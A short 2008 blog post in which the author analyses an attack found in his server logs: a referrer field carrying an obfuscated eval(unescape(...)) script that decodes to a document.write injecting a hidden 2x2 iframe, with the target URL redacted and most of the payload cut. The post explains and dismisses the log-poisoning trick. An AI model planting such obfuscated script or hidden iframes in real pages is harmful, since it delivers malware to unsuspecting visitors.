MainDoctor WhoMusicSoftware
Main Page

Alden Bates' Weblog

Feigning normality since 1973

Overcomplicating Hacks

Filed in: Spam.

Wow, it's the middle of the month already! Where does the time go?

A week or so ago I noticed an odd hit in my server logs. The referrer url looked like this:<script> eval(unescape('%64%6f%63%75%6d%65%6e%74%2e%77%72
[whole bunch more encoded characters cut out]

Java script in the referrer? I guess the idea was that it would end up in the referrer logs which I don't publish on my web site, and then any unsuspecting people who visited said logs would execute the javascript. Or possibly would follow the link to the buxhotel page, which would give them back the javascript. Anyway the pile of encoded characters translated to more javascript, which looked like this:
document.write("<iframe src='[URL REDACTED]' height='2' width='2'> </iframe>");

The iframe loaded a URL containing yet more javascript which started document.write(unescape('%3c%68%74%6d%6c%3e etc etc etc. I didn't bother to extract all of it, but what I did translate made it obvious that the page was loaded with nasty spyware and viruses.

So to recap, this method depends on the target site publishing its logs publicly in some manner that people will either execute the long chain of javascript by visiting the logs or by following the link. Either way, it seems just a bit desperate to me...

Posted April 16, 2008 1:42 AM


I didn't understand a single word of that. :)

Posted by: Jeff Stone | April 16, 2008 4:58 AM

Post a comment Site Map